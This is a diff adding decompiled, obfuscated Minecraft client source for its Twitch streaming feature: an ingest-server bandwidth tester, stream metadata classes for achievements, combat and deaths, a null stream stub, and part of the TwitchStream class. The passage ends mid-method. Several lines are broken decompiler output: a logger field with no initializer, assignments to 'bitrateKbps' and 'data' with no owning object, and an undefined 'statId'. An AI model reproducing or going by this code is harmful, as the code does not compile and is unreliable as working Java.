+++ b/src/minecraft/net/minecraft/client/stream/IngestServerTester.java
@@ -0,0 +1,619 @@
+package net.minecraft.client.stream;
+
+import com.google.common.collect.Lists;
+import java.io.PrintStream;
+import java.util.List;
+import tv.twitch.AuthToken;
+import tv.twitch.ErrorCode;
+import tv.twitch.broadcast.ArchivingState;
+import tv.twitch.broadcast.AudioParams;
+import tv.twitch.broadcast.ChannelInfo;
+import tv.twitch.broadcast.EncodingCpuUsage;
+import tv.twitch.broadcast.FrameBuffer;
+import tv.twitch.broadcast.GameInfoList;
+import tv.twitch.broadcast.IStatCallbacks;
+import tv.twitch.broadcast.IStreamCallbacks;
+import tv.twitch.broadcast.IngestList;
+import tv.twitch.broadcast.IngestServer;
+import tv.twitch.broadcast.PixelFormat;
+import tv.twitch.broadcast.RTMPState;
+import tv.twitch.broadcast.StatType;
+import tv.twitch.broadcast.Stream;
+import tv.twitch.broadcast.StreamInfo;
+import tv.twitch.broadcast.UserInfo;
+import tv.twitch.broadcast.VideoParams;
+
+public class IngestServerTester
+{
+  protected IngestTestListener field_153044_b = null;
+  protected Stream field_153045_c = null;
+  protected IngestList field_153046_d = null;
+  protected IngestTestState field_153047_e;
+  protected long field_153048_f;
+  protected long field_153049_g;
+  protected long field_153050_h;
+  protected RTMPState field_153051_i;
+  protected VideoParams field_153052_j;
+  protected AudioParams field_153053_k;
+  protected long field_153054_l;
+  protected List field_153055_m;
+  protected boolean field_153056_n;
+  protected IStreamCallbacks field_153057_o;
+  protected IStatCallbacks field_153058_p;
+  protected IngestServer field_153059_q;
+  protected boolean field_153060_r;
+  protected boolean field_153061_s;
+  protected int field_153062_t;
+  protected int field_153063_u;
+  protected long field_153064_v;
+  protected float field_153065_w;
+  protected float field_153066_x;
+  protected boolean field_176009_x;
+  protected boolean field_176008_y;
+  protected boolean field_176007_z;
+  protected IStreamCallbacks field_176005_A;
+  protected IStatCallbacks field_176006_B;
+  private static final String __OBFID = "CL_00001816";
+  
+  public void func_153042_a(IngestTestListener p_153042_1_)
+  {
+    field_153044_b = p_153042_1_;
+  }
+  
+  public IngestServer func_153040_c()
+  {
+    return field_153059_q;
+  }
+  
+  public int func_153028_p()
+  {
+    return field_153062_t;
+  }
+  
+  public boolean func_153032_e()
+  {
+    return (field_153047_e == IngestTestState.Finished) || (field_153047_e == IngestTestState.Cancelled) || (field_153047_e == IngestTestState.Failed);
+  }
+  
+  public float func_153030_h()
+  {
+    return field_153066_x;
+  }
+  
+  public IngestServerTester(Stream p_i1019_1_, IngestList p_i1019_2_)
+  {
+    field_153047_e = IngestTestState.Uninitalized;
+    field_153048_f = 8000L;
+    field_153049_g = 2000L;
+    field_153050_h = 0L;
+    field_153051_i = RTMPState.Invalid;
+    field_153052_j = null;
+    field_153053_k = null;
+    field_153054_l = 0L;
+    field_153055_m = null;
+    field_153056_n = false;
+    field_153057_o = null;
+    field_153058_p = null;
+    field_153059_q = null;
+    field_153060_r = false;
+    field_153061_s = false;
+    field_153062_t = -1;
+    field_153063_u = 0;
+    field_153064_v = 0L;
+    field_153065_w = 0.0F;
+    field_153066_x = 0.0F;
+    field_176009_x = false;
+    field_176008_y = false;
+    field_176007_z = false;
+    field_176005_A = new IStreamCallbacks() { public void requestAuthTokenCallback(ErrorCode p_requestAuthTokenCallback_1_, AuthToken p_requestAuthTokenCallback_2_) {}
+      
+      public void loginCallback(ErrorCode p_loginCallback_1_, ChannelInfo p_loginCallback_2_) {}
+      
+      public void getIngestServersCallback(ErrorCode p_getIngestServersCallback_1_, IngestList p_getIngestServersCallback_2_) {}
+      
+      public void getUserInfoCallback(ErrorCode p_getUserInfoCallback_1_, UserInfo p_getUserInfoCallback_2_) {}
+      
+      public void getStreamInfoCallback(ErrorCode p_getStreamInfoCallback_1_, StreamInfo p_getStreamInfoCallback_2_) {}
+      
+      public void getArchivingStateCallback(ErrorCode p_getArchivingStateCallback_1_, ArchivingState p_getArchivingStateCallback_2_) {}
+      public void runCommercialCallback(ErrorCode p_runCommercialCallback_1_) {}
+      public void setStreamInfoCallback(ErrorCode p_setStreamInfoCallback_1_) {}
+      public void getGameNameListCallback(ErrorCode p_getGameNameListCallback_1_, GameInfoList p_getGameNameListCallback_2_) {}
+      public void bufferUnlockCallback(long p_bufferUnlockCallback_1_) {}
+      public void startCallback(ErrorCode p_startCallback_1_) { field_176008_y = false;
+        
+        if (ErrorCode.succeeded(p_startCallback_1_))
+        {
+          field_176009_x = true;
+          field_153054_l = System.currentTimeMillis();
+          func_153034_a(IngestServerTester.IngestTestState.ConnectingToServer);
+        }
+        else
+        {
+          field_153056_n = false;
+          func_153034_a(IngestServerTester.IngestTestState.DoneTestingServer);
+        }
+      }
+      
+      private static final String __OBFID = "CL_00002368";
+      public void stopCallback(ErrorCode p_stopCallback_1_) { if (ErrorCode.failed(p_stopCallback_1_))
+        {
+          System.out.println("IngestTester.stopCallback failed to stop - " + field_153059_q.serverName + ": " + p_stopCallback_1_.toString());
+        }
+        
+        field_176007_z = false;
+        field_176009_x = false;
+        func_153034_a(IngestServerTester.IngestTestState.DoneTestingServer);
+        field_153059_q = null;
+        
+        if (field_153060_r)
+        {
+          func_153034_a(IngestServerTester.IngestTestState.Cancelling); } }
+      
+      public void sendActionMetaDataCallback(ErrorCode p_sendActionMetaDataCallback_1_) {}
+      
+      public void sendStartSpanMetaDataCallback(ErrorCode p_sendStartSpanMetaDataCallback_1_) {}
+      
+      public void sendEndSpanMetaDataCallback(ErrorCode p_sendEndSpanMetaDataCallback_1_) {} };
+    field_176006_B = new IStatCallbacks()
+    {
+      private static final String __OBFID = "CL_00002367";
+      
+      public void statCallback(StatType p_statCallback_1_, long p_statCallback_2_) {
+        switch (IngestServerTester.SwitchStatType.field_176003_a[p_statCallback_1_.ordinal()])
+        {
+        case 1: 
+          field_153051_i = RTMPState.lookupValue((int)p_statCallback_2_);
+          break;
+        
+        case 2: 
+          field_153050_h = p_statCallback_2_;
+        }
+      }
+    };
+    field_153045_c = p_i1019_1_;
+    field_153046_d = p_i1019_2_;
+  }
+  
+  public void func_176004_j()
+  {
+    if (field_153047_e == IngestTestState.Uninitalized)
+    {
+      field_153062_t = 0;
+      field_153060_r = false;
+      field_153061_s = false;
+      field_176009_x = false;
+      field_176008_y = false;
+      field_176007_z = false;
+      field_153058_p = field_153045_c.getStatCallbacks();
+      field_153045_c.setStatCallbacks(field_176006_B);
+      field_153057_o = field_153045_c.getStreamCallbacks();
+      field_153045_c.setStreamCallbacks(field_176005_A);
+      field_153052_j = new VideoParams();
+      field_153052_j.targetFps = 60;
+      field_153052_j.maxKbps = 3500;
+      field_153052_j.outputWidth = 1280;
+      field_153052_j.outputHeight = 720;
+      field_153052_j.pixelFormat = PixelFormat.TTV_PF_BGRA;
+      field_153052_j.encodingCpuUsage = EncodingCpuUsage.TTV_ECU_HIGH;
+      field_153052_j.disableAdaptiveBitrate = true;
+      field_153052_j.verticalFlip = false;
+      field_153045_c.getDefaultParams(field_153052_j);
+      field_153053_k = new AudioParams();
+      field_153053_k.audioEnabled = false;
+      field_153053_k.enableMicCapture = false;
+      field_153053_k.enablePlaybackCapture = false;
+      field_153053_k.enablePassthroughAudio = false;
+      field_153055_m = Lists.newArrayList();
+      byte var1 = 3;
+      
+      for (int var2 = 0; var2 < var1; var2++)
+      {
+        FrameBuffer var3 = field_153045_c.allocateFrameBuffer(field_153052_j.outputWidth * field_153052_j.outputHeight * 4);
+        
+        if (!var3.getIsValid())
+        {
+          func_153031_o();
+          func_153034_a(IngestTestState.Failed);
+          return;
+        }
+        
+        field_153055_m.add(var3);
+        field_153045_c.randomizeFrameBuffer(var3);
+      }
+      
+      func_153034_a(IngestTestState.Starting);
+      field_153054_l = System.currentTimeMillis();
+    }
+  }
+  
+  public void func_153041_j()
+  {
+    if ((!func_153032_e()) && (field_153047_e != IngestTestState.Uninitalized))
+    {
+      if ((!field_176008_y) && (!field_176007_z))
+      {
+        switch (SwitchStatType.field_176002_b[field_153047_e.ordinal()])
+        {
+        case 1: 
+        case 2: 
+          if (field_153059_q != null)
+          {
+            if ((field_153061_s) || (!field_153056_n))
+            {
+              field_153059_q.bitrateKbps = 0.0F;
+            }
+            
+            func_153035_b(field_153059_q);
+          }
+          else
+          {
+            field_153054_l = 0L;
+            field_153061_s = false;
+            field_153056_n = true;
+            
+            if (field_153047_e != IngestTestState.Starting)
+            {
+              field_153062_t += 1;
+            }
+            
+            if (field_153062_t < field_153046_d.getServers().length)
+            {
+              field_153059_q = field_153046_d.getServers()[field_153062_t];
+              func_153036_a(field_153059_q);
+            }
+            else
+            {
+              func_153034_a(IngestTestState.Finished);
+            }
+          }
+          
+          break;
+        
+        case 3: 
+        case 4: 
+          func_153029_c(field_153059_q);
+          break;
+        
+        case 5: 
+          func_153034_a(IngestTestState.Cancelled);
+        }
+        
+        func_153038_n();
+        
+        if ((field_153047_e == IngestTestState.Cancelled) || (field_153047_e == IngestTestState.Finished))
+        {
+          func_153031_o();
+        }
+      }
+    }
+  }
+  
+  public void func_153039_l()
+  {
+    if ((!func_153032_e()) && (!field_153060_r))
+    {
+      field_153060_r = true;
+      
+      if (field_153059_q != null)
+      {
+        field_153059_q.bitrateKbps = 0.0F;
+      }
+    }
+  }
+  
+  protected boolean func_153036_a(IngestServer p_153036_1_)
+  {
+    field_153056_n = true;
+    field_153050_h = 0L;
+    field_153051_i = RTMPState.Idle;
+    field_153059_q = p_153036_1_;
+    field_176008_y = true;
+    func_153034_a(IngestTestState.ConnectingToServer);
+    ErrorCode var2 = field_153045_c.start(field_153052_j, field_153053_k, p_153036_1_, tv.twitch.broadcast.StartFlags.TTV_Start_BandwidthTest, true);
+    
+    if (ErrorCode.failed(var2))
+    {
+      field_176008_y = false;
+      field_153056_n = false;
+      func_153034_a(IngestTestState.DoneTestingServer);
+      return false;
+    }
+    
+
+    field_153064_v = field_153050_h;
+    bitrateKbps = 0.0F;
+    field_153063_u = 0;
+    return true;
+  }
+  
+
+  protected void func_153035_b(IngestServer p_153035_1_)
+  {
+    if (field_176008_y)
+    {
+      field_153061_s = true;
+    }
+    else if (field_176009_x)
+    {
+      field_176007_z = true;
+      ErrorCode var2 = field_153045_c.stop(true);
+      
+      if (ErrorCode.failed(var2))
+      {
+        field_176005_A.stopCallback(ErrorCode.TTV_EC_SUCCESS);
+        System.out.println("Stop failed: " + var2.toString());
+      }
+      
+      field_153045_c.pollStats();
+    }
+    else
+    {
+      field_176005_A.stopCallback(ErrorCode.TTV_EC_SUCCESS);
+    }
+  }
+  
+  protected long func_153037_m()
+  {
+    return System.currentTimeMillis() - field_153054_l;
+  }
+  
+  protected void func_153038_n()
+  {
+    float var1 = (float)func_153037_m();
+    
+    switch (SwitchStatType.field_176002_b[field_153047_e.ordinal()])
+    {
+    case 1: 
+    case 3: 
+    case 6: 
+    case 7: 
+    case 8: 
+    case 9: 
+      field_153066_x = 0.0F;
+      break;
+    
+    case 2: 
+      field_153066_x = 1.0F;
+      break;
+    
+    case 4: 
+    case 5: 
+    default: 
+      field_153066_x = (var1 / (float)field_153048_f);
+    }
+    
+    switch (SwitchStatType.field_176002_b[field_153047_e.ordinal()])
+    {
+    case 7: 
+    case 8: 
+    case 9: 
+      field_153065_w = 1.0F;
+      break;
+    
+    default: 
+      field_153065_w = (field_153062_t / field_153046_d.getServers().length);
+      field_153065_w += field_153066_x / field_153046_d.getServers().length;
+    }
+  }
+  
+  protected boolean func_153029_c(IngestServer p_153029_1_)
+  {
+    if ((!field_153061_s) && (!field_153060_r) && (func_153037_m() < field_153048_f))
+    {
+      if ((!field_176008_y) && (!field_176007_z))
+      {
+        ErrorCode var2 = field_153045_c.submitVideoFrame((FrameBuffer)field_153055_m.get(field_153063_u));
+        
+        if (ErrorCode.failed(var2))
+        {
+          field_153056_n = false;
+          func_153034_a(IngestTestState.DoneTestingServer);
+          return false;
+        }
+        
+
+        field_153063_u = ((field_153063_u + 1) % field_153055_m.size());
+        field_153045_c.pollStats();
+        
+        if (field_153051_i == RTMPState.SendVideo)
+        {
+          func_153034_a(IngestTestState.TestingServer);
+          long var3 = func_153037_m();
+          
+          if ((var3 > 0L) && (field_153050_h > field_153064_v))
+          {
+            bitrateKbps = ((float)(field_153050_h * 8L) / (float)func_153037_m());
+            field_153064_v = field_153050_h;
+          }
+        }
+        
+        return true;
+      }
+      
+
+
+      return true;
+    }
+    
+
+
+    func_153034_a(IngestTestState.DoneTestingServer);
+    return true;
+  }
+  
+
+  protected void func_153031_o()
+  {
+    field_153059_q = null;
+    
+    if (field_153055_m != null)
+    {
+      for (int var1 = 0; var1 < field_153055_m.size(); var1++)
+      {
+        ((FrameBuffer)field_153055_m.get(var1)).free();
+      }
+      
+      field_153055_m = null;
+    }
+    
+    if (field_153045_c.getStatCallbacks() == field_176006_B)
+    {
+      field_153045_c.setStatCallbacks(field_153058_p);
+      field_153058_p = null;
+    }
+    
+    if (field_153045_c.getStreamCallbacks() == field_176005_A)
+    {
+      field_153045_c.setStreamCallbacks(field_153057_o);
+      field_153057_o = null;
+    }
+  }
+  
+  protected void func_153034_a(IngestTestState p_153034_1_)
+  {
+    if (p_153034_1_ != field_153047_e)
+    {
+      field_153047_e = p_153034_1_;
+      
+      if (field_153044_b != null)
+      {
+        field_153044_b.func_152907_a(this, p_153034_1_);
+      }
+    }
+  }
+  
+  public static abstract interface IngestTestListener
+  {
+    public abstract void func_152907_a(IngestServerTester paramIngestServerTester, IngestServerTester.IngestTestState paramIngestTestState);
+  }
+  
+  public static enum IngestTestState
+  {
+    Uninitalized("Uninitalized", 0), 
+    Starting("Starting", 1), 
+    ConnectingToServer("ConnectingToServer", 2), 
+    TestingServer("TestingServer", 3), 
+    DoneTestingServer("DoneTestingServer", 4), 
+    Finished("Finished", 5), 
+    Cancelling("Cancelling", 6), 
+    Cancelled("Cancelled", 7), 
+    Failed("Failed", 8);
+    
+    private static final IngestTestState[] $VALUES = { Uninitalized, Starting, ConnectingToServer, TestingServer, DoneTestingServer, Finished, Cancelling, Cancelled, Failed };
+    
+    private static final String __OBFID = "CL_00001814";
+    
+    private IngestTestState(String p_i1016_1_, int p_i1016_2_) {}
+  }
+  
+  static final class SwitchStatType
+  {
+    static final int[] field_176003_a;
+    static final int[] field_176002_b = new int[IngestServerTester.IngestTestState.values().length];
+    private static final String __OBFID = "CL_00001815";
+    
+    static
+    {
+      try
+      {
+        field_176002_b[IngestServerTester.IngestTestState.Starting.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_176002_b[IngestServerTester.IngestTestState.DoneTestingServer.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_176002_b[IngestServerTester.IngestTestState.ConnectingToServer.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_176002_b[IngestServerTester.IngestTestState.TestingServer.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      try
+      {
+        field_176002_b[IngestServerTester.IngestTestState.Cancelling.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+      
+
+
+
+      try
+      {
+        field_176002_b[IngestServerTester.IngestTestState.Uninitalized.ordinal()] = 6;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError6) {}
+      
+
+
+
+      try
+      {
+        field_176002_b[IngestServerTester.IngestTestState.Finished.ordinal()] = 7;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError7) {}
+      
+
+
+
+      try
+      {
+        field_176002_b[IngestServerTester.IngestTestState.Cancelled.ordinal()] = 8;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError8) {}
+      
+
+
+
+      try
+      {
+        field_176002_b[IngestServerTester.IngestTestState.Failed.ordinal()] = 9;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError9) {}
+      
+
+
+
+      field_176003_a = new int[StatType.values().length];
+      
+      try
+      {
+        field_176003_a[StatType.TTV_ST_RTMPSTATE.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError10) {}
+      
+
+
+
+      try
+      {
+        field_176003_a[StatType.TTV_ST_RTMPDATASENT.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError11) {}
+    }
+    
+    SwitchStatType() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/stream/Metadata.java b/src/minecraft/net/minecraft/client/stream/Metadata.java
new file mode 100644
index 0000000..dedf807
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/stream/Metadata.java
@@ -0,0 +1,84 @@
+package net.minecraft.client.stream;
+
+import com.google.common.base.Objects;
+import com.google.common.base.Objects.ToStringHelper;
+import com.google.gson.Gson;
+import java.util.Map;
+
+public class Metadata
+{
+  private static final Gson field_152811_a = new Gson();
+  private final String field_152812_b;
+  private String field_152813_c;
+  private Map field_152814_d;
+  private static final String __OBFID = "CL_00001823";
+  
+  public Metadata(String p_i46345_1_, String p_i46345_2_)
+  {
+    field_152812_b = p_i46345_1_;
+    field_152813_c = p_i46345_2_;
+  }
+  
+  public Metadata(String p_i1030_1_)
+  {
+    this(p_i1030_1_, null);
+  }
+  
+  public void func_152807_a(String p_152807_1_)
+  {
+    field_152813_c = p_152807_1_;
+  }
+  
+  public String func_152809_a()
+  {
+    return field_152813_c == null ? field_152812_b : field_152813_c;
+  }
+  
+  public void func_152808_a(String p_152808_1_, String p_152808_2_)
+  {
+    if (field_152814_d == null)
+    {
+      field_152814_d = com.google.common.collect.Maps.newHashMap();
+    }
+    
+    if (field_152814_d.size() > 50)
+    {
+      throw new IllegalArgumentException("Metadata payload is full, cannot add more to it!");
+    }
+    if (p_152808_1_ == null)
+    {
+      throw new IllegalArgumentException("Metadata payload key cannot be null!");
+    }
+    if (p_152808_1_.length() > 255)
+    {
+      throw new IllegalArgumentException("Metadata payload key is too long!");
+    }
+    if (p_152808_2_ == null)
+    {
+      throw new IllegalArgumentException("Metadata payload value cannot be null!");
+    }
+    if (p_152808_2_.length() > 255)
+    {
+      throw new IllegalArgumentException("Metadata payload value is too long!");
+    }
+    
+
+    field_152814_d.put(p_152808_1_, p_152808_2_);
+  }
+  
+
+  public String func_152806_b()
+  {
+    return (field_152814_d != null) && (!field_152814_d.isEmpty()) ? field_152811_a.toJson(field_152814_d) : null;
+  }
+  
+  public String func_152810_c()
+  {
+    return field_152812_b;
+  }
+  
+  public String toString()
+  {
+    return Objects.toStringHelper(this).add("name", field_152812_b).add("description", field_152813_c).add("data", func_152806_b()).toString();
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/stream/MetadataAchievement.java b/src/minecraft/net/minecraft/client/stream/MetadataAchievement.java
new file mode 100644
index 0000000..3f67753
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/stream/MetadataAchievement.java
@@ -0,0 +1,17 @@
+package net.minecraft.client.stream;
+
+import net.minecraft.stats.Achievement;
+
+public class MetadataAchievement extends Metadata
+{
+  private static final String __OBFID = "CL_00001824";
+  
+  public MetadataAchievement(Achievement p_i1032_1_)
+  {
+    super("achievement");
+    func_152808_a("achievement_id", statId);
+    func_152808_a("achievement_name", p_i1032_1_.getStatName().getUnformattedText());
+    func_152808_a("achievement_description", p_i1032_1_.getDescription());
+    func_152807_a("Achievement '" + p_i1032_1_.getStatName().getUnformattedText() + "' obtained!");
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/stream/MetadataCombat.java b/src/minecraft/net/minecraft/client/stream/MetadataCombat.java
new file mode 100644
index 0000000..8cc36c1
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/stream/MetadataCombat.java
@@ -0,0 +1,28 @@
+package net.minecraft.client.stream;
+
+import net.minecraft.entity.EntityLivingBase;
+
+public class MetadataCombat extends Metadata
+{
+  private static final String __OBFID = "CL_00002377";
+  
+  public MetadataCombat(EntityLivingBase p_i46067_1_, EntityLivingBase p_i46067_2_)
+  {
+    super("player_combat");
+    func_152808_a("player", p_i46067_1_.getName());
+    
+    if (p_i46067_2_ != null)
+    {
+      func_152808_a("primary_opponent", p_i46067_2_.getName());
+    }
+    
+    if (p_i46067_2_ != null)
+    {
+      func_152807_a("Combat between " + p_i46067_1_.getName() + " and " + p_i46067_2_.getName());
+    }
+    else
+    {
+      func_152807_a("Combat between " + p_i46067_1_.getName() + " and others");
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/stream/MetadataPlayerDeath.java b/src/minecraft/net/minecraft/client/stream/MetadataPlayerDeath.java
new file mode 100644
index 0000000..435dcfb
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/stream/MetadataPlayerDeath.java
@@ -0,0 +1,23 @@
+package net.minecraft.client.stream;
+
+import net.minecraft.entity.EntityLivingBase;
+
+public class MetadataPlayerDeath extends Metadata
+{
+  private static final String __OBFID = "CL_00002376";
+  
+  public MetadataPlayerDeath(EntityLivingBase p_i46066_1_, EntityLivingBase p_i46066_2_)
+  {
+    super("player_death");
+    
+    if (p_i46066_1_ != null)
+    {
+      func_152808_a("player", p_i46066_1_.getName());
+    }
+    
+    if (p_i46066_2_ != null)
+    {
+      func_152808_a("killer", p_i46066_2_.getName());
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/stream/NullStream.java b/src/minecraft/net/minecraft/client/stream/NullStream.java
new file mode 100644
index 0000000..862a4ff
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/stream/NullStream.java
@@ -0,0 +1,132 @@
+package net.minecraft.client.stream;
+
+import tv.twitch.ErrorCode;
+import tv.twitch.broadcast.IngestServer;
+import tv.twitch.chat.ChatUserInfo;
+
+public class NullStream implements IStream
+{
+  private final Throwable field_152938_a;
+  private static final String __OBFID = "CL_00001809";
+  
+  public NullStream(Throwable p_i1006_1_)
+  {
+    field_152938_a = p_i1006_1_;
+  }
+  
+
+  public void shutdownStream() {}
+  
+
+  public void func_152935_j() {}
+  
+
+  public void func_152922_k() {}
+  
+  public boolean func_152936_l()
+  {
+    return false;
+  }
+  
+  public boolean func_152924_m()
+  {
+    return false;
+  }
+  
+  public boolean func_152934_n()
+  {
+    return false;
+  }
+  
+  public void func_152911_a(Metadata p_152911_1_, long p_152911_2_) {}
+  
+  public void func_176026_a(Metadata p_176026_1_, long p_176026_2_, long p_176026_4_) {}
+  
+  public boolean isPaused()
+  {
+    return false;
+  }
+  
+  public void func_152931_p() {}
+  
+  public void func_152916_q() {}
+  
+  public void func_152933_r() {}
+  
+  public void func_152915_s() {}
+  
+  public void func_152930_t() {}
+  
+  public void func_152914_u() {}
+  
+  public IngestServer[] func_152925_v()
+  {
+    return new IngestServer[0];
+  }
+  
+  public void func_152909_x() {}
+  
+  public IngestServerTester func_152932_y()
+  {
+    return null;
+  }
+  
+  public boolean func_152908_z()
+  {
+    return false;
+  }
+  
+  public int func_152920_A()
+  {
+    return 0;
+  }
+  
+  public boolean func_152927_B()
+  {
+    return false;
+  }
+  
+  public String func_152921_C()
+  {
+    return null;
+  }
+  
+  public ChatUserInfo func_152926_a(String p_152926_1_)
+  {
+    return null;
+  }
+  
+  public void func_152917_b(String p_152917_1_) {}
+  
+  public boolean func_152928_D()
+  {
+    return false;
+  }
+  
+  public ErrorCode func_152912_E()
+  {
+    return null;
+  }
+  
+  public boolean func_152913_F()
+  {
+    return false;
+  }
+  
+  public void func_152910_a(boolean p_152910_1_) {}
+  
+  public boolean func_152929_G()
+  {
+    return false;
+  }
+  
+  public IStream.AuthFailureReason func_152918_H()
+  {
+    return IStream.AuthFailureReason.ERROR;
+  }
+  
+  public Throwable func_152937_a()
+  {
+    return field_152938_a;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/stream/TwitchStream.java b/src/minecraft/net/minecraft/client/stream/TwitchStream.java
new file mode 100644
index 0000000..6a34790
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/stream/TwitchStream.java
@@ -0,0 +1,789 @@
+package net.minecraft.client.stream;
+
+import com.google.common.base.Strings;
+import com.google.common.collect.Maps;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParser;
+import com.mojang.authlib.properties.Property;
+import java.io.IOException;
+import java.net.URL;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Set;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.GuiIngame;
+import net.minecraft.client.gui.GuiNewChat;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.OpenGlHelper;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.client.shader.Framebuffer;
+import net.minecraft.event.ClickEvent;
+import net.minecraft.event.ClickEvent.Action;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.ChatStyle;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.util.HttpUtil;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.JsonUtils;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.Util.EnumOS;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.apache.logging.log4j.Marker;
+import org.lwjgl.opengl.GL11;
+import tv.twitch.AuthToken;
+import tv.twitch.ErrorCode;
+import tv.twitch.broadcast.ChannelInfo;
+import tv.twitch.broadcast.EncodingCpuUsage;
+import tv.twitch.broadcast.FrameBuffer;
+import tv.twitch.broadcast.GameInfo;
+import tv.twitch.broadcast.IngestList;
+import tv.twitch.broadcast.IngestServer;
+import tv.twitch.broadcast.StreamInfo;
+import tv.twitch.broadcast.VideoParams;
+import tv.twitch.chat.ChatRawMessage;
+import tv.twitch.chat.ChatTokenizedMessage;
+import tv.twitch.chat.ChatUserInfo;
+import tv.twitch.chat.ChatUserMode;
+
+public class TwitchStream implements BroadcastController.BroadcastListener, ChatController.ChatListener, IngestServerTester.IngestTestListener, IStream
+{
+  private static final Logger field_152950_b = ;
+  public static final Marker field_152949_a = org.apache.logging.log4j.MarkerManager.getMarker("STREAM");
+  private final BroadcastController broadcastController;
+  private final ChatController field_152952_d;
+  private String field_176029_e;
+  private final Minecraft field_152953_e;
+  private final IChatComponent field_152954_f = new ChatComponentText("Twitch");
+  private final Map field_152955_g = Maps.newHashMap();
+  private Framebuffer field_152956_h;
+  private boolean field_152957_i;
+  private int field_152958_j = 30;
+  private long field_152959_k = 0L;
+  private boolean field_152960_l = false;
+  private boolean field_152961_m;
+  private boolean field_152962_n;
+  private boolean field_152963_o;
+  private IStream.AuthFailureReason field_152964_p;
+  private static boolean field_152965_q;
+  private static final String __OBFID = "CL_00001812";
+  
+  public TwitchStream(Minecraft mcIn, final Property p_i46057_2_)
+  {
+    field_152964_p = IStream.AuthFailureReason.ERROR;
+    field_152953_e = mcIn;
+    broadcastController = new BroadcastController();
+    field_152952_d = new ChatController();
+    broadcastController.func_152841_a(this);
+    field_152952_d.func_152990_a(this);
+    broadcastController.func_152842_a("nmt37qblda36pvonovdkbopzfzw3wlq");
+    field_152952_d.func_152984_a("nmt37qblda36pvonovdkbopzfzw3wlq");
+    field_152954_f.getChatStyle().setColor(EnumChatFormatting.DARK_PURPLE);
+    
+    if ((p_i46057_2_ != null) && (!Strings.isNullOrEmpty(p_i46057_2_.getValue())) && (OpenGlHelper.framebufferSupported))
+    {
+      Thread var3 = new Thread("Twitch authenticator")
+      {
+        private static final String __OBFID = "CL_00001811";
+        
+        public void run()
+        {
+          try {
+            URL var1 = new URL("https://api.twitch.tv/kraken?oauth_token=" + java.net.URLEncoder.encode(p_i46057_2_.getValue(), "UTF-8"));
+            String var2 = HttpUtil.get(var1);
+            JsonObject var3 = JsonUtils.getElementAsJsonObject(new JsonParser().parse(var2), "Response");
+            JsonObject var4 = JsonUtils.getJsonObject(var3, "token");
+            
+            if (JsonUtils.getJsonObjectBooleanFieldValue(var4, "valid"))
+            {
+              String var5 = JsonUtils.getJsonObjectStringFieldValue(var4, "user_name");
+              TwitchStream.field_152950_b.debug(TwitchStream.field_152949_a, "Authenticated with twitch; username is {}", new Object[] { var5 });
+              AuthToken var6 = new AuthToken();
+              data = p_i46057_2_.getValue();
+              broadcastController.func_152818_a(var5, var6);
+              field_152952_d.func_152998_c(var5);
+              field_152952_d.func_152994_a(var6);
+              Runtime.getRuntime().addShutdownHook(new Thread("Twitch shutdown hook")
+              {
+                private static final String __OBFID = "CL_00001810";
+                
+                public void run() {
+                  shutdownStream();
+                }
+              });
+              broadcastController.func_152817_A();
+              field_152952_d.func_175984_n();
+            }
+            else
+            {
+              field_152964_p = IStream.AuthFailureReason.INVALID_TOKEN;
+              TwitchStream.field_152950_b.error(TwitchStream.field_152949_a, "Given twitch access token is invalid");
+            }
+          }
+          catch (IOException var7)
+          {
+            field_152964_p = IStream.AuthFailureReason.ERROR;
+            TwitchStream.field_152950_b.error(TwitchStream.field_152949_a, "Could not authenticate with twitch", var7);
+          }
+        }
+      };
+      var3.setDaemon(true);
+      var3.start();
+    }
+  }
+  
+
+
+
+  public void shutdownStream()
+  {
+    field_152950_b.debug(field_152949_a, "Shutdown streaming");
+    broadcastController.statCallback();
+    field_152952_d.func_175988_p();
+  }
+  
+  public void func_152935_j()
+  {
+    int var1 = field_152953_e.gameSettings.streamChatEnabled;
+    boolean var2 = (field_176029_e != null) && (field_152952_d.func_175990_d(field_176029_e));
+    boolean var3 = (field_152952_d.func_153000_j() == ChatController.ChatState.Initialized) && ((field_176029_e == null) || (field_152952_d.func_175989_e(field_176029_e) == ChatController.EnumChannelState.Disconnected));
+    
+    if (var1 == 2)
+    {
+      if (var2)
+      {
+        field_152950_b.debug(field_152949_a, "Disconnecting from twitch chat per user options");
